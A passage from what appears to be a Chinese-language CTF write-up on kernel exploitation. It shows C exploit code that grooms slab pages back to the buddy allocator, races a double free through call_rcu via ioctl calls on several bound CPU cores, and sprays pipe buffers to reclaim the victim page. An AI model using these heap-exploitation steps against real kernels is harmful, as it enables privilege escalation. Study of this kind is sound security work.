<div class="code-snippet"><pre class="code-snippet__pre"><code class="language-c language-c"><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> min_partial </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">++</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">{</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        spary</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">OBJECTS_PER_PAGE </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 2</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        delete</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">OBJECTS_PER_PAGE </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 2</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">}</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    spary</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">OBJECTS_PER_PAGE </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;  </span><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">    // 再溢出一页</span><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">    // 把已经满的 CPU1 的 Partial Slabs 全部放到 node_list 里，其中包含 victim 所在的 slab page</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    delete</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">OBJECTS_PER_PAGE </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 2</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br></code></pre></div>
<p>效果如下：</p>
<p><img loading="lazy" decoding="async" fetchpriority="auto" src="https://pic1.imgdb.cn/item/69b2fe66cda91d5fba01f6c9.png" alt/></p>
<p>此时如果把 victim entry 删掉，victim page 就会被释放回 buddy system 了。</p>
<p><img loading="lazy" decoding="async" fetchpriority="auto" src="https://pic1.imgdb.cn/item/69b2fea1cda91d5fba01f6cb.png" alt/></p>
<p>已经看到回 buddy system 了.</p>
<ol start="3">
<li>接下来只需要构造 race，并在窗口内把 victim page 申请回来</li>
</ol>
<p>如果直接 double free 的话，两次 <code class="inline-code">call_rcu</code> 的间隔过短，victim page 可能还没喷回来，此时 <code class="inline-code">rcu->func</code> 是 0，直接导致第二次 <code class="inline-code">call_rcu</code> 时内核崩溃。</p>
<p>所以需要在 double free 中间夹一些无用的 <code class="inline-code">call_rcu</code>，延长窗口。</p>
<div class="code-snippet"><pre class="code-snippet__pre"><code class="language-c language-c"><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    bind_core</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    spary</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">OBJECTS_PER_PAGE </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    bind_core</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    sleep</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1.0</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    *</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">char</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">buff </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">91</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> pid </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> fork</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">!</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pid</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">{</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        bind_core</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">3</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        usleep</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        ret </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> ioctl</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">fd, DEL_ENTRY, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">ue</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        info</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"child ioctl ret: </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">%d</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, ret</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        bind_core</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> OBJECTS_PER_PAGE </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 2</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">++</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            cue tmp </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">{</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                .id </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757"> ids</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#a0111f;--shiki-dark:#ffb1af">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">,</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                .va_start </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">,</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                .va_end </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">,</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                .corrupted </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            </span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">}</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            ret </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> ioctl</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">fd, DEL_ENTRY, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">tmp</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        while</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        exit</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">}</span><br><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    usleep</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    ret </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> ioctl</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">fd, CHECK_ENTRY, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">ue</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    info</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"parent ioctl ret: </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">%d</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, ret</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br></code></pre></div>
<p>由于 <code class="inline-code">write_pipe</code> 会 <code class="inline-code">alloc_page</code>，所以最好用 <code class="inline-code">pipe</code> 把 victim page 重新喷回来。</p>
<div class="code-snippet"><pre class="code-snippet__pre"><code class="language-c language-c"><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">   page </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> alloc_page</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">GFP_HIGHUSER </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">|</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> __GFP_ACCOUNT</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">   buf</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">></span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">page </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> page;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">   buf</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">></span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">ops </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> &#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">anon_pipe_buf_ops;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">   copied </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> copy_page_from_iter</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">page, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, PAGE_SIZE, from</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br></code></pre></div>
<p>大概像下面这样喷一下。</p>
<div class="code-snippet"><pre class="code-snippet__pre"><code class="language-c language-c"><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">    // 提升 fd 上限</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    struct</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> rlimit rl;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">getrlimit</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">RLIMIT_NOFILE, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">rl</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">==</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">{</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        rl.rlim_cur </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> rl.rlim_max;</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        setrlimit</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">RLIMIT_NOFILE, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">rl</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">}</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> size </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">700</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    int</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757"> fds</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">size</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> size; i</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">++</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        pipe</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">int</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">fds</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">]</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    char</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757"> payload</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">PAGE_SIZE</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> PAGE_SIZE; i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">48</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">{</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        memset</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">payload </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> i, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">41</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">48</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">}</span><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">    // ...</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    </span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    bind_core</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">3</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">int</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; i </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> size; </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">++</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">{</span><br><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        write</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">fds</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">[</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">i</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">]</span><span style="--shiki-light:#744500;--shiki-dark:#f7c843">[</span><span 